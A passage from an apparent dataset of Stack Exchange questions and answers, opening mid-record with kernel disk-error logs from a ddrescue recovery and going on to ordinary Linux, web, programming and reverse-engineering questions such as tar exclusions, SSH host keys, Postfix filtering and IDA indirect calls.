16177790722014-06-13T07:53:26.395552+05:00 suse kernel: [ 7878.946015] Buffer I/O error on device sdc2, logical block 124867042014-06-13T07:53:26.395554+05:00 suse kernel: [ 7878.946076] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395555+05:00 suse kernel: [ 7878.946080] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395557+05:00 suse kernel: [ 7878.946082] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395558+05:00 suse kernel: [ 7878.946085] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395560+05:00 suse kernel: [ 7878.946100] Read(10): 28 00 60 6d 5a 00 00 00 08 002014-06-13T07:53:26.395562+05:00 suse kernel: [ 7878.946141] end_request: I/O error, dev sdc, sector 16177792002014-06-13T07:53:26.395563+05:00 suse kernel: [ 7878.946152] Buffer I/O error on device sdc2, logical block 124867202014-06-13T07:53:26.395580+05:00 suse kernel: [ 7878.946192] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395582+05:00 suse kernel: [ 7878.946194] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395584+05:00 suse kernel: [ 7878.946195] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395585+05:00 suse kernel: [ 7878.946196] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395587+05:00 suse kernel: [ 7878.946197] Read(10): 28 00 60 6d 5b 00 00 00 08 002014-06-13T07:53:26.395588+05:00 suse kernel: [ 7878.946202] end_request: I/O error, dev sdc, sector 16177794562014-06-13T07:53:26.395590+05:00 suse kernel: [ 7878.946203] Buffer I/O error on device sdc2, logical block 124867522014-06-13T07:53:26.395592+05:00 suse kernel: [ 7878.946221] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395593+05:00 suse kernel: [ 7878.946223] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395595+05:00 suse kernel: [ 7878.946224] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395596+05:00 suse kernel: [ 7878.946224] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395598+05:00 suse kernel: [ 7878.946227] Read(10): 28 00 60 6d 5d 00 00 00 08 002014-06-13T07:53:26.395599+05:00 suse kernel: [ 7878.946228] end_request: I/O error, dev sdc, sector 16177799682014-06-13T07:53:26.395601+05:00 suse kernel: [ 7878.946229] Buffer I/O error on device sdc2, logical block 124868162014-06-13T07:53:26.395602+05:00 suse kernel: [ 7878.946245] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395608+05:00 suse kernel: [ 7878.946254] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395611+05:00 suse kernel: [ 7878.946254] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395612+05:00 suse kernel: [ 7878.946255] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395615+05:00 suse kernel: [ 7878.946258] Read(10): 28 00 60 6d 61 00 00 00 08 002014-06-13T07:53:26.395616+05:00 suse kernel: [ 7878.946259] end_request: I/O error, dev sdc, sector 16177809922014-06-13T07:53:26.395618+05:00 suse kernel: [ 7878.946260] Buffer I/O error on device sdc2, logical block 124869442014-06-13T07:53:26.395624+05:00 suse kernel: [ 7878.946281] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395626+05:00 suse kernel: [ 7878.946282] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395628+05:00 suse kernel: [ 7878.946284] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395629+05:00 suse kernel: [ 7878.946285] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395634+05:00 suse kernel: [ 7878.946286] Read(10): 28 00 60 6d 69 00 00 00 08 002014-06-13T07:53:26.395636+05:00 suse kernel: [ 7878.946295] end_request: I/O error, dev sdc, sector 16177830402014-06-13T07:53:26.395637+05:00 suse kernel: [ 7878.946297] Buffer I/O error on device sdc2, logical block 124872002014-06-13T07:53:26.396515+05:00 suse kernel: [ 7878.946314] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.396522+05:00 suse kernel: [ 7878.946315] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.396524+05:00 suse kernel: [ 7878.946316] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.396527+05:00 suse kernel: [ 7878.946318] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.396529+05:00 suse kernel: [ 7878.946319] Read(10): 28 00 60 6d 79 00 00 00 08 002014-06-13T07:53:26.396531+05:00 suse kernel: [ 7878.946323] end_request: I/O error, dev sdc, sector 16177871362014-06-13T07:53:26.396533+05:00 suse kernel: [ 7878.946325] Buffer I/O error on device sdc2, logical block 124877122014-06-13T07:53:26.396534+05:00 suse kernel: [ 7878.946344] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.396536+05:00 suse kernel: [ 7878.946346] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.396538+05:00 suse kernel: [ 7878.946347] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.396540+05:00 suse kernel: [ 7878.946348] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.396542+05:00 suse kernel: [ 7878.946349] Read(10): 28 00 60 6d 99 00 00 00 08 002014-06-13T07:53:26.396544+05:00 suse kernel: [ 7878.946354] end_request: I/O error, dev sdc, sector 16177953282014-06-13T07:53:26.396546+05:00 suse kernel: [ 7878.946356] Buffer I/O error on device sdc2, logical block 124887362014-06-13T07:53:26.396548+05:00 suse kernel: [ 7878.946374] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.396550+05:00 suse kernel: [ 7878.946376] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.396552+05:00 suse kernel: [ 7878.946377] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.396554+05:00 suse kernel: [ 7878.946379] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.396556+05:00 suse kernel: [ 7878.946379] Read(10): 28 00 60 6d d9 08 00 00 08 002014-06-13T07:53:26.396557+05:00 suse kernel: [ 7878.946401] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.396560+05:00 suse kernel: [ 7878.946403] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.396561+05:00 suse kernel: [ 7878.946404] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OKUnfortunately, I can't figure out at which block/sector did the issue occur, so I can restart ddrescue from that point on, skipping the troublesome area. For now, The same was the case with testdisk when I tried to list the files for recovery; after I had painstakingly selected all the files to copy, testdisk failed to copy a single one of them because the drive had disappeared during the scanning I think.For now, I have restarted ddrescue with this :ddrescue -n -v -T 30 -A --retrim -d -i 150G --skip-size=500k,10M --min-read-rate=50k /dev/sdc2 /media/rescue/Drive2.img /media/rescue/Drive2.logBut as it is bound to repeat the disappearing drive phenomenon again and producing an incomplete/almost-useless image, I really need some help in figuring out a way to skip the sectors that are causing this problem, or any other tips to recover the data. "  , "title": "Drive disappears from dev during ddrescue copy or testdisk recovery"  , "tags": "opensuse;data recovery;ddrescue"  } 
{  "id": "_unix.199932"  , "question": "I have upgraded a Debian 7 system to Debian 8 and, among other changes, when I log in using gnome-classic, the desktop background is new. However, my gnome menus have not changed, as you can see in this screenshot:So, I have performed a fresh installation of Debian 8, and on that I get the following look and feel when I log in as gnome-classic:Why are the icons, the menu look and feel, and the upper tool bar different?Can it be that some packages have not been upgraded properly when going from Debian 7 to Debian 8?If this is the case, is it possible to restore the look and feel of the upper picture in Debian 8?"  , "title": "Different look and feel for gnome classic in Debian 7 and Debian 8"  , "tags": "debian;gnome classic"  , "accepted_answer": "i'm not sure that this is the answer you are asking for, but if want the look and feel of the classic gnome 2, you can install and use the MATE Desktop Environment (sudo apt-get install mate-desktop-environment)!i would definitely advise you to use MATE instead of the old gnome3 classic-mode:MATE will use less resourcesthe so called classic-mode of gnome 3, is just a fallback-mode if your system faces problems with the graphic cardthe classic-mode was discontinued as of gnome 3.6and debian squeeze (2.30+7), wheezy (3.4+7+deb7u1) or jessie (3.14+3) uses different versions of gnome by default!"  } 
{  "id": "_codereview.33115"  , "question": "After fumbling around with Ruby for a few weeks I've fallen into a coding pattern that I'm comfortable with. When I create a new class and that class has dependencies, I add a method initialize_dependencies that does the job of creating them. That function is then executed from the constructor.When I write a test for this class, I actually test a subclass where the initialize_dependencies function has been overridden and the dependencies replaced with stubs or mocks. Here is an example of such a test (with most tests and test data removed for brevity):require address_kit/entities/street_addressmodule AddressKit  module Validation    describe FinnValidationDriver do      # Subject returns hard coded results from finn client.      subject {        Class.new(FinnValidationDriver) {          def initialize_dependencies            @client = Object.new            @client.define_singleton_method(:address_search) { |address_string|              FINN_VALIDATION_DRIVER_TEST_DATA[address_string] or []            }          end        }.new      }      it considers an address invalid if finn returns no results do        address = AddressKit::Entities::StreetAddress.new({          street_name: FOOBAR,          house_number: 123        })        subject.valid?(address).must_equal false        subject.code.must_equal FinnValidationDriver::CODE_NO_RESULTS      end      it considers an address invalid if finn returns multiple results do        address = AddressKit::Entities::StreetAddress.new({          street_name: FORNEBUVEIEN,          house_number: 10        })        subject.valid?(address).must_equal false        subject.code.must_equal FinnValidationDriver::CODE_NOT_SPECIFIC      end    end  endendFINN_VALIDATION_DRIVER_TEST_DATA = {  FORNEBUVEIEN 10 => [    AddressKit::Entities::StreetAddress.new({      street_name: FORNEBUVEIEN,      house_number: 10,      entrance: A,      postal_code: 1366,      city: LYSAKER    }),    AddressKit::Entities::StreetAddress.new({      street_name: FORNEBUVEIEN,      house_number: 10,      entrance: B,      postal_code: 1366,      city: LYSAKER    })  ],  TORGET 12, ASKIM => [    AddressKit::Entities::StreetAddress.new({      street_name: TORGEIR BJRNARAAS GATE,      house_number: 12,      postal_code: 1807,      city: ASKIM    }),    AddressKit::Entities::StreetAddress.new({      street_name: TORGET,      house_number: 12,      postal_code: 1830,      city: ASKIM    })  ]}This class only has one dependency, which is a client for a web service. Here I replace it with a stub returning static data.I'm fairly new with Ruby so there are probably at least a few issues or potholes with this approach that I'm not seeing. Is there a best practice when it comes to writing classes and tests for them? Am I way off?"  , "title": "Are there any glaring issues with the way I write and test my Ruby classes?"  , "tags": "ruby"  } 
{  "id": "_cs.71539"  , "question": "Knowledge bases and expert systems are usually production rules systems and as such they lack expressive means for expressing modalities like agent believes in statement, agent has duty to perform action, agent has permission to perform action. Modalities are usualy written as modal operators (diamond and square boxes) or as special kind of implications. https://ts.data61.csiro.au/publications/nictaabstracts/5627.pdf is good example how to introduce modalities in defeasible logic without Kripke/relational/possible world semantics/machinery.Introduction of modalities introduces both new symbols in language and new inference rules in language (like permission follows from duty), https://en.wikipedia.org/wiki/Modal_logic contains list of good examples of rules that are brought with introduction of modal operators.So - my question is - how to introduce modalities in expert systems / production rule systems which have no dedicated operators or implications for modalities?My proposal is to treat modalities as predicates and introduce special kind of metarules that for each type of modal predicate generate relevant modal predicates. E.g. which for duty-predicate generates permissions-predicate. There is book about such approach http://www.springer.com/us/book/9783319225562Is my proposal about modalities as special kind of predicates sound, are there alternatives?Specifically, I am trying to introduce modalities http://opencog.org/, this system support meta-rules and higher-order rules, so my approach maybe is valid and academically acceptable?"  , "title": "How to express modalities in rule bases, knowledge bases or expert systems?"  , "tags": "logic;knowledge representation;modal logic;expert systems"  } 
{  "id": "_unix.373441"  , "question": "When using ifdown or ifup for the lookback interface in CentOS 7:[root@localhost etc]# ifup loI have got the error below:Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'  Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'  Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'  Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'  However if I use the ifconfig command, it shows the command(ifdown or ifup) works with success. As I tested, the use of the ifconfig lo up/down does not show any signs of errors.What is happening?EDITI checked the ifcfg-lo file, it shows the info below:[root@localhost etc]# ls -la /etc/sysconfig/network-scripts/ifcfg-lo-rw-r--r--. 1 root root 254 Jun 26 20:07 /etc/sysconfig/network-scripts/ifcfg-lo"  , "title": "Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo' when I use ifdown or ifup"  , "tags": "centos;ifconfig"  } 
{  "id": "_unix.358352"  , "question": "I want to make a backup, but my tapes don't have space for everything, so I decided to not back up virtual machines (over 1tb).I have the virtual machines in .local/share/libvirt/imagesI used this commandtar cvf - /home/user -X altro/file.esclude  | openssl aes-256-cbc -salt  -k password | dd bs=80M of=/dev/st0In altro/file.esclude I put this line /home/user/.local/share/libvirt/imagesBut tar ignore the exclude file and backups everything!!So I usetar cvf - /home/user --exclude '/home/user/.local/share/libvirt/images'  | openssl aes-256-cbc -salt  -k password | dd bs=80M of=/dev/st0And...same thing!Why?System is Slackware 14.2 with gnu tar"  , "title": "Get tar to exclude some files"  , "tags": "tar"  , "accepted_answer": "The X must be before the paths to include in the tar file.So:tar cvf - /home/user -X altro/file.esclude  | openssl aes-256-cbc -salt  -k password | dd bs=80M of=/dev/st0is WRONG.This:tar cvf - -X /home/user/altro/file.esclude /home/user | openssl aes-256-cbc -salt  -k pass | dd bs=80M of=/dev/st0is RIGHTIn the exclude file, I use/home/user/.local/share/libvirt/images/*"  } 
{  "id": "_webmaster.106772"  , "question": "We have recently moved our old website to a new platform using Angular 2 + Universal. The site is city-sightseeing.com and while it was fine at the beginning in the last weeks we are having issues with SEO and being de-indexed.Timeline of events, issues and solutions29th March: New site launched only in English. All looking good and working fine. Redirects were made from the old site website to the new one using 301s for the pages we have in the new site. The content has all be re-written for the new site.12th May: New languages added: italian, french, spanish and german. We put the hreflang in all the pages to tell Google about all languages. Issues started here. We saw that Google started giving us soft-404s and de-listing the english site from the listings. The new languages didn't seem to be affected. 24th May: after investigating we found a few issues that were fixed on this date. We changed how the default language was set to follow Google guidelines. We found that while we served the html code to Google the Fetch and Render in Search Console couldn't see our pages properly. We fixed that and now all our pages can be fully seen and rendered properly in Search Console. We reviewed our structured data to make sure it was working well. A new sitemap was uploaded with all the urls in all languages. We started seeing improvements and our pages, especially english ones which are the main ones for us, started appearing again in the searches and google index. Since then we didn't touch anything giving time to Google to go over the whole site. Since few days ago we started seeing again the same issues as before. The pages are being de-indexed by google. The soft-404s started growing, these are only for the english pages. The structured data number of items started to go down. We double checked and the pages can be properly seen by the bot in the Fetch and Render tool. Any ideas of what can be happening? Thanks!Here is the render in mobile:"  , "title": "After moving to Angular 2 + Universal Google is reporting soft 404s and removing pages from the index"  , "tags": "google search console;soft 404"  } 
{  "id": "_unix.355203"  , "question": "I've just installed Gnuroot and Gnuroot Wheezy on my Samsung phone (Android 7.0). I can't get past the Creat New Rootfs stage, though: my device says unpacking a rootfs, thinks for a few seconds then stops.Any thoughts?"  , "title": "Gnuroot Wheezy fails to install on Android 7.0"  , "tags": "debian;android;gnuroot"  } 
{  "id": "_computergraphics.221"  , "question": "I know in the not so long ago (5-10 years?) that it was popular / efficient to bake data out into textures and then read the data from the textures, often using the built in texture interpolation to get linear interpolation of the baked out data.Now that computing time is cheaper compared to texture lookup time, this practice has definitely lessened if not all together disappeared.My question is, are baked out textures still used for anything?  Does anyone have any usage cases for them in modern architecture?  Does it seem likely they will ever make a come back? (say, if memory technology or basic GPU architecture changes)"  , "title": "Are lookup textures still used for anything?"  , "tags": "texture;gpu;hardware"  , "accepted_answer": "Yes, lookup textures are still used. For example, pre-integrated BRDFs (for ambient lighting, say), or arbitrarily complicated curves baked down to a 1D texture, or a 3D lookup texture for color grading, or a noise texture instead of a PRNG in the shader.ALU is generally cheaper than a texture sample, true, but you still have a limited amount of ALU per frame. GPUs are good at latency hiding and small lookup textures are likely to be in the cache. If your function is complicated enough, it may still be worth using a lookup texture."  } 
{  "id": "_unix.239317"  , "question": "I have a text file I need to verify, and I am trying to figure out how to check that an expected value exists.An example of my file isInitialPattern:   Value1=somevalue   Value2=somevalue   Value3=somevalue   InstallationName=InstallationXI don't care about lines 2-4, but I need to verify that in line 5   InstallationName=Installation1To throw a wrench in it, this line does not always exist, at which point the pattern starts again withInitialPattern:What I have so far kind of works, but not in the case that the line does not occur altogether:      instName=Installation1      installationNames=$(cat file.txt | grep InstallationName)      IFS=$'\\n' read -rd '' -a array <<< $installationNames      for element in ${array[@]}      do         if [[ $element =~ $instName ]]; then           test=pass         else           test=fail           break         fi      doneany ideas? I was looking at this post: Print Matching line and nth line from the matched lineWhere the user got the forth line after an pattern occurrence - I was thinking if I could store this value I could compare it to the expected value, but I am not entirely sure how to store it yet.Any guidance is welcome!"  , "title": "Verification of 4th line value after pattern occurrence"  , "tags": "shell script"  } 
{  "id": "_unix.188455"  , "question": "This isn't an actual problem - but more of a curious question, when I run while true; do ps aux | grep abc; echo done; done I get the following:user    29733  0.0  0.0  11748   924 pts/1    R+   20:25   0:00 grep --color=auto abcdoneuser    29735  0.0  0.0  11748   920 pts/1    S+   20:25   0:00 grep --color=auto abcdoneuser    29737  0.0  0.0  11748   924 pts/1    S+   20:25   0:00 grep --color=auto abcdonedonedonedoneuser    29745  0.0  0.0  11748   924 pts/1    R+   20:25   0:00 grep --color=auto abcdoneuser    29747  0.0  0.0  11748   924 pts/1    R+   20:25   0:00 grep --color=auto abcdoneuser    29749  0.0  0.0  11748   924 pts/1    R+   20:25   0:00 grep --color=auto abcdoneuser    29751  0.0  0.0  11748   924 pts/1    R+   20:25   0:00 grep --color=auto abcdoneuser    29753  0.0  0.0  11748   924 pts/1    S+   20:25   0:00 grep --color=auto abcdoneuser    29755  0.0  0.0  11748   924 pts/1    S+   20:25   0:00 grep --color=auto abcdonedoneuser    29759  0.0  0.0  11748   924 pts/1    R+   20:25   0:00 grep --color=auto abcdoneuser    29761  0.0  0.0  11748   920 pts/1    R+   20:25   0:00 grep --color=auto abcdoneSometimes grep doesn't actually see itself in ps aux. Is this just a timing issue between the two processes running? This also happens when I run the commands individually and not in a loop. This is happening both on my computer and another machine over ssh, but it is happening more frequently on the remote computer (which the output is from).Ubuntu 14.04"  , "title": "grep randomly appearing and disappearing in ps aux (ps aux | grep python)"  , "tags": "grep;pipe;ps"  , "accepted_answer": "I think this is just timing, as you mention. Commands on pipes run concurrently, you can find more information on In what order do piped commands run?. It might happen more frequently on a machine if you have more/less CPU or more/less processes."  } 
{  "id": "_unix.13449"  , "question": "I'm attempting to compile GCC 4.5.2 as part of the Linux from Scratch book (http://www.linuxfromscratch.org/lfs/view/stable/chapter05/gcc-pass1.html). My configure is as follows:./configure \\    --target=$LFS_TGT --prefix=/tools \\    --disable-nls --disable-shared --disable-multilib \\    --disable-decimal-float --disable-threads \\    --disable-libmudflap --disable-libssp \\    --disable-libgomp --enable-languages=c \\    --with-gmp-include=$(pwd)/gmp --with-gmp-lib=$(pwd)/gmp/.libs \\    --without-ppl --without-cloogWhen I attempt to make I get the error (after digging around in config.logs):error while loading shared libraries: libgmp.so.10: cannot open shared object file: No such file or directoryI have gmp in a subdirectory and got to this point after successfully compiling it. How can I point GCC to use this library?I'm going through LFS in an attempt to get myself more familiar with Linux behaviour. I've jumped over a fair few hurdles but this particular case is stumping me.If it's relevant: I'm using an Ubuntu 11 host. Any ideas?With thanks."  , "title": "Cannot find libgmp when compiling GCC 4.5.2"  , "tags": "make;gcc"  , "accepted_answer": "I'm fairly sure the issue was caused by my (dumb) decision to use a combined source + build directory. Cleaning up my environment and re-building to a different folder has addressed this issue."  } 
{  "id": "_unix.325407"  , "question": "Background & RequirementsI've found a number of reference docs and Q&A post relating to this topic but I've not been able to figure out a key area of the design.I would like to reject an inbound email based on a custom analysis algorithm - simply I have a python script that does the analysis and I'm currently testing by invoking it as a mail filter from Gnome Evolution. This all seems to work more-or-less as expected. Seems to be a couple of nuances with return codes in python vs. the interpretation by Evolutions mail filter system but otherwise operational.At this stage not tied to a technology or system other than it must be open source. Ideally it should run on Debian (or Ubuntu) so Postfix seems to be the best fit.The Problem AreaI've been looking at gateways et al such as Postfix in order to design an integration that works on a more autonomous level - and to prevent the need to waste time filtering email in inboxes. I can see the lightweight before queue filters (for example here) and I can see how to call a script from these hooks e.g. here, but not acquire any return codes from the script.What I can't seem to find in the documentation is how you would a apply a result code / return code from the script to Postfix in order for it to determine whether or not to allow or reject the message. Note that the solution relies on being able to reject an email message, not discard it (for reasons I unfortunately cannot go into here). I thought about a cron job that inspects a list of collated data items collected from email added to the queue, and appending more filters to the Postfix configurations automatically. This only solves part of the problem and means something will run on the server even if there is no new email.TL;DR So my questions are:How can I call a script from the MTA and get the script / call result? e.g. call scan.py and get either a 0 or 1 backWhat mechanism in Postfix (or other similar open source system) should I refer to in documentation to then bind this result to an action?"  , "title": "Using a custom filter via script to reject inbound email"  , "tags": "shell script;python;postfix;mail transport agent"  } 
{  "id": "_webapps.24040"  , "question": "If I go to Search Settings / Languages / select English / Save, it goes to English but then keeps switching to Slovak.In my Cookies, I have 'Allow local data to be set' checked.I'm in Ireland and I'd like local search results in English.But Google gives me search results from Slovakia and the Czech Republic, and Google is in Slovak.The same happens whether or not I am signed into my Google account, so I guess there's a file somewhere on my computer telling Chrome to give me search results in Slovak and from Slovakia.How do I make Google default English in Chrome?..Edit:This page has some answers:http://support.google.com/websearch/bin/answer.py?hl=en&answer=533But none of those things resolve this."  , "title": "How do I make Google default English in Chrome?"  , "tags": "google"  } 
{  "id": "_unix.38444"  , "question": "I'm new to Linux. I have 2 Debian Squeeze hosts running. Let's call them SqueezeOne and SqueezeTwo. After logging into SqueezeOne, I ran ssh-keygen and added the resulting public key to my authorized key file: cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keysI also added a public key generated by puttygen from my Windows desktop to the same key file. I can ssh in from my putty just fine without being asked for my password. However, if I type in either of the following commands:ssh localhost ssh OneI get the following error.The authenticity of host 'localhost (127.0.0.1)' can't be established.RSA key fingerprint is 75:56:33:22:c3:da:43:72:11:33:ec:50:f4:d0:dd:c7.Are you sure you want to continue connecting (yes/no)?Host key verification failed.If I go to SqueezeTwo, and try to ssh to SqueezeOne, I receive the same message. On SqueezeTwo, there is a ~/.ssh/known_host file, which I know did not create on my own. However, I am not seeing the same known_hosts file on SqueezeOne. On SqueezeTwo, I can ssh to localhost and itself with no problem.What am I doing wrong?"  , "title": "Cannot SSH to localhost - host key verification failed"  , "tags": "ssh"  } 
{  "id": "_unix.378323"  , "question": "In a folder, I have number of files that are in .dat extension format (it is originally .xvg format but have changed to .dat format to plot all other graphs in a single plot) which contains the values along with the some written headings etc., as : # Grace project file#@version 50125@page size 792, 612@page scroll 5%@page inout 5%@link page off@map font 8 to Courier, Courier@map font 10 to Courier-Bold, Courier-Bold@map font 11 to Courier-BoldOblique, Courier-BoldOblique@map font 9 to Courier-Oblique, Courier-Oblique@map font 4 to Helvetica, Helvetica@map font 6 to Helvetica-Bold, Helvetica-Bold@map font 7 to Helvetica-BoldOblique, Helvetica-BoldOblique@map font 5 to Helvetica-Oblique, Helvetica-Oblique....@    s0 errorbar riser linestyle 1@    s0 errorbar riser clip off@    s0 errorbar riser clip length 0.100000@    s0 comment rdf_CaNm.xvg@    s0 legend  N1@target G0.S0@type xy0 00.002 00.004 0ie., there are 327 lines  from #Grace project file(being line one) --> @type xy(being line 327) and then the 0 0 is the 328th line, 0.002 0 is the 329th line etc.How can I delete all the first 327 lines in all the files of .dat format containing in the folder (yes all those .dat files have first 327 lines as stated above) through the command in terminal? "  , "title": "Regarding deleting first 327 lines in all the .dat files in a folder"  , "tags": "text processing"  } 
{  "id": "_webmaster.81661"  , "question": "(I hope I've got everything translated correctly, because our Google Analytics is in german. I'll write the german word after the translations, in case anyone speaks german and I've got the translations wrong.)We have been looking at the SEO Content pages report (Akquisition > Suchmaschineneoptimierung -> Zielseiten) recently. For some unknown reason we cannot edit that report, so we tried to create a new one with additional info. But Impressions and Clicks are not available in custom reports. Ok. Create a extra report with the additional fields and merge those two in Excel. Not nice but would work.Our custom report has a filter for source/medium with value google/organic and landing page (Zielseite) as dimension. To our understanding that should be the same settings that the SEO Content pages report would be based on. We have Entries (Einstiege) as the first metric. Again that should somehow match to Clicks in the SEO report. But it does not. (a small difference would be no problem)Given the same time period, we have really big differences. A page has 5 clicks in SEO report and 78 entries in the custom report. Another page has 35 clicks in SEO report and 18 entries in the custom report. So the difference is in both ways.Why is that? Is our understanding of either source/medium google/organic or the SEO content pages report wrong? How can we explain these differences? Is there a better/more correct way to get additional info to the SEO content pages report? We need the revenue value.Any help is appreciated.Sebastian"  , "title": "Different number in Google Analytics SEO landing pages vs. custom report google/organic entries"  , "tags": "google analytics"  , "accepted_answer": "This is due to the data in Akquisition > Suchmaschineneoptimierung -> Zielseiten (or Accuisition > Search Engine Optimisation > Landing Page ) being pulled from Goole Webmaster Tools / Search Console account for the site and the data in your other report coming from Google Analytics's tracking, two different tracking methords.Why are the numbers so out? Well Google explain why that could be here : Search Console data may differ from the data displayed in other toolsHowever I have seen outrageous differences in data. For instance a site where many hundreds of pages are appearing as landing pages, yet these pages are set to noindex and are not indexed in Google, so couldn't have been the landing page from organic.Apparently this happens due to people landing on a different page from search, then left the website and came back directly but to a different page not via search, which is still counted as an organic session.How can pages which aren't indexed be reported as landing pages in Google Analytics?"  } 
{  "id": "_webapps.85070"  , "question": "How do I disable Facebook chat availability? My chat is offline and I am using Windows 7 with Firefox. When I login with my other account through my mobile Facebook and open a chat conversation I see the account that I use on my computer is active just now whenever I move the mouse or refresh the page.How do I disable that? Is there some specific heartbeat message that is possible to be blocked through AdBlock Plus or something?"  , "title": "Disable Facebook chat availability (Active now, active just now, active x minutes ago)"  , "tags": "facebook;facebook chat"  , "accepted_answer": "Okay I have found the solution to block this status.Basically Facebook uses a timer and so it will send a heartbeat message to their servers with the idle time every x minutes.Here is an example of such web request:https://1-edge-chat.facebook.com/pull?channel=userid&seq=0&partition=-2&clientid=18ae8ecc&cb=ie3k&idle=117&qp=y&cap=8&msgs_recv=0&uid=userid&viewer_uid=userid&msgr_region=FRC&state=offlineIf you read that link you'll see that &idle=117 is the total seconds the account has been idle for. The state=offline stands for whether the chat is active or offline Note that I have replaced my userid which is a number of 15 digits.So to disable this just add the following rule in your AdBlock filters:https://*-edge-chat.facebook.comOne drawback of this method is that you will not receive messages in real time. You must refresh the page to get the messages."  } 
{  "id": "_webapps.1013"  , "question": "Why don't I have access to my Google Calendar tasks using either Lighting for Thunderbird or Evolution?I can sync calendars without any problems, but I do not even have read access to tasks..."  , "title": "How can I have read access to my Google Calendar tasks in a desktop application?"  , "tags": "sync;google calendar;tasks;thunderbird"  , "accepted_answer": "The reason is because Google has not created any functionality in their Google Calendar APIs for doing anything with tasks. Without an API for this, applications would have to screen-scrape, which is a pain and is inconvenient.Many developers want such an API, so such functionality will probably be added soon.Until then, there's not much you can do. Sorry!"  } 
{  "id": "_softwareengineering.129043"  , "question": "I have an environment that supports both dictionaries (json style) and databases (not relational or anything, just formatted data by row and column). My application doesn't really need database functionality, butI'm somewhat more comfortable with the database system than I am with dictionaries. Is there a major performance advantage to dictionaries? What situations are there where a dictionary is better than a database?"  , "title": "What are the relative advantages of dictionaries versus databases?"  , "tags": "database;dictionary"  , "accepted_answer": "If you want to know whether there is a performance advantage, the best thing to do is measure it yourself. The performance depends a lot on the type of data, the language, the amount of data, etc. It's impossible to give a blanket statement as to when dictionaries are better than databases. Again, it depends on the data, the language, etc. Roughly speaking, dictionaries are better for simple and small datasets, and databases are good for complex and large data sets."  } 
{  "id": "_reverseengineering.2119"  , "question": "For learning (and fun) I have been analyzing a text editor application using IDA Pro. While looking at the disassembly, I notice many function calls are made by explicitly calling the name of the function. For example, I notice IDA translates most function calls into the following two formats.call cs:CoCreateInstanceOrcall WinSqmAddToStreamBut sometimes the format does not use a function name. The following example includes the code leading up to the line in question. The third line of code seem to be missing the function name. (The comments are my own.)mov rcx, [rsp+128h+var_D8]    // reg CX gets the address at stack pointer+128h+var_D8 bytes mov r8, [rcx]                 // the address at reg CX is stored to reg r8call qword ptr [r8 + 18h]     // at address rax+18h, call function defined by qword bytes My questions are as follows:How do I make the connection between call qword ptr <address> and a function in the disassembly?I understand that IDA cannot use a function name here since it does not know the value stored at the register R8... so what causes this? Was there a certain syntax or convention used by the developer? In other words, did the developer call the function WinSqmAddToStream in a different manner than the function at [r8+18h]?"  , "title": "What to do when IDA cannot provide a function name?"  , "tags": "ida;disassembly"  , "accepted_answer": "To connect an indirect call to its target (if you know it) you can do the following:1) Add a custom cross-reference - either with IDC/Python, or from the Cross References subview. If you use scripting, don't forget to add the XREF_USER flag so IDA does not delete it on reanalysis.2) Use the callee plugin (Edit->Plugins->Change the callee address, or Alt+F11). This will automatically add a cross-reference and also a comment next to the call.As for why the explicit call is not present in the binary there can be many explanations. The snippet you're showing looks like a virtual function call, and they are usually done only in this manner to account for possibility of the method being overridden in a derived class."  } 
